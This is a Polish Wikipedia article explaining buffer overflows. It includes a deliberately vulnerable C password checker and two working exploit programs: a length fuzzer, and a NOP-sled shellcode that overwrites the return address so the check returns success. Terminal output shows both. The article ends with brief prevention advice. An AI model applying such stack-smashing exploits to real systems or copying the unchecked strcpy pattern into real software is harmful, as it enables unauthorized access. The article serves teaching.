Przepełnienie bufora

Z Wikipedii, wolnej encyklopedii
Skocz do: nawigacji, wyszukiwania

Przepełnienie bufora (ang. Buffer overflow) – błąd programistyczny polegający na zapisaniu do wyznaczonego obszaru pamięci (bufora) większej ilości danych, niż zarezerwował na ten cel programista. Taka sytuacja prowadzi do zamazania danych znajdujących się w pamięci bezpośrednio za buforem, a w rezultacie do błędnego działania programu. W wielu sytuacjach, zwłaszcza gdy dane, które wpisywane są do bufora, podlegają kontroli osoby o potencjalnie wrogich intencjach, może dojść do nadpisania struktur kontrolnych programu w taki sposób, by zaczął on wykonywać operacje określone przez atakującego.

Przyczyną powstawania takich błędów jest najczęściej brak odpowiedniej wiedzy lub należytej staranności ze strony autora oprogramowania.

Szczegóły techniczne[edytuj | edytuj kod]

Ze względu na sposób budowy stosu na większości platform teleinformatycznych, za podręcznymi buforami danej funkcji często znajduje się adres powrotny funkcji nadrzędnej, odłożony na stos przez wywołanie instrukcji procesora call. Po nadpisaniu wartości na stosie odpowiednio dobranym adresem wskazującym na specjalnie spreparowany kod, program po zakończeniu aktualnie wykonywanej funkcji zamiast powrócić do funkcji nadrzędnej, wykonuje specjalnie przygotowany przez hakera kod.

Także w przypadku, gdy bezpośrednie nadpisanie adresu powrotnego nie jest możliwe (np. ze względu na to, że podatny na atak bufor znajduje się w oddzielnym regionie pamięci), ataki typu buffer overflow mogą często prowadzić do przejęcia kontroli nad systemem przez nadpisanie istotnych parametrów wykorzystywanych przez program lub biblioteki standardowe.

Przykład w działaniu[edytuj | edytuj kod]

(Poniższe rozważania wymagają znajomości języka C oraz asemblera.)

Spróbujmy zaatakować bardzo prosty program, który sprawdza hasło podane w linii poleceń. Załóżmy, że nie znamy hasła i nie mamy możliwości wyciągnięcia go z pliku binarnego. Nie znamy też dokładnego kodu źródłowego, ale ponieważ program jest prosty i wiemy co robi, mamy mniej więcej pojęcie, jak on wygląda.

hello.c:

#include <string.h>
#include <stdio.h>
 
char password[] = "SecretPassword";
 
int main(int argc, char **argv)
{
  char buf[256];
 
  if (argc == 2)
    strcpy(buf, argv[1]);
  else
  {
    printf ("%s <password>\n", argv[0]);
    return 1;
  }
 
  if (strcmp(buf, password) == 0)
  {
    printf ("Password OK\n");
    return 0;
  }
  else
  {
     printf ("Bad password\n");
    return 1;
  }
}

Dziura[edytuj | edytuj kod]

Dziura oczywiście polega na tym, że buf ma stałą wielkość i nie sprawdza się długości danych, które do niego kopiujemy. Najpierw musimy sprawdzić czy w ogóle występuje taka dziura i jeśli tak, to ile danych potrzeba, żeby przepełnić bufor.

./exploit1.c:

#include <unistd.h>
 
char arg[] =
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
;
 
int main(int argc, char **argv)
{
  execl("./hello", "./hello", arg, NULL);
  return 0;
}
$ ./exploit1
Bad password
Segmentation fault

320 bajtów (5 linii razy 64 bajty) wystarczyło. Możemy teraz znaleźć dokładną najmniejszą wartość, która wystarcza. Jak się okazuje, potrzeba 256+12 bajtów - mniejsza wartość nie powoduje błędu. W rzeczywistości kopiowany jest jeden bajt więcej - bajt o wartości 0 kończący napis. Oznacza to, że między buforem buf a adresem powrotu (któremu zwykle wystarczy nadpisać jeden bajt, żeby doprowadzić do katastrofy) znajduje się 12 bajtów, czyli 3 wartości typu int lub wskaźniki. Są to w naszym przypadku argc, argv i "tajny" argument funkcji main - envp.

Wykorzystanie[edytuj | edytuj kod]

Musimy umieścić shellcode w buforze i nadpisać adres powrotu tak, żeby wskazywał na nasz shellcode. Ponieważ znalezienie dokładnego adresu wymaga wielu prób, uzupełniamy go dużą ilością instrukcji NOP (0x90), tak żeby wskaźnik mógł wskazywać na dowolny z początkowych bajtów bufora.

Nie mamy zbyt dużych ambicji w sprawie shellcodu - będzie on po prostu wychodził z wartością 0, odpowiadającej dobremu hasłu.

Ponieważ nie wiemy, jaka dokładnie jest lokalizacja bufora zawierającego shellcode, jej adres (w odniesieniu do początku stosu, który na Linuksie na i386 zwykle znajduje się pod 0xc0000000) podany jest w linii komend do naszego exploitu.

exploit2.c:

#include <unistd.h>
#include <stdlib.h>
 
char arg[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90"
"\x31\xc0"      // xor %eax, %eax
"\x40"          // inc %eax
"\x31\xdb"      // xor %ebx, %ebx
"\xcd\x80"      // int $0x80
"\xff\xff\xff\xbf"
;
 
int main(int argc, char **argv)
{
  if (argc == 2)
  *((int*)(&arg[256+12])) = 0xc0000000 - atoi (argv[1]);
 
  execl("./hello", "./hello", arg, NULL);
  return 0;
}

Metodą prób i błędów (skakać można o ilość instrukcji NOP w shellcodzie):

$ ./exploit2 1900
Bad password
Segmentation fault
$ ./exploit2 2100
Bad password
Segmentation fault
$ ./exploit2 2300
Bad password
$ echo $?
0

Zapobieganie[edytuj | edytuj kod]

Aby zapobiec tego typu atakom zawsze należy brać pod uwagę rozmiar przyjmowanych danych. Należy unikać funkcji, które go nie sprawdzają (np. występująca w języku C funkcja strcpy) używając ich bezpieczniejszych odpowiedników (np. strncpy).

Zobacz też[edytuj | edytuj kod]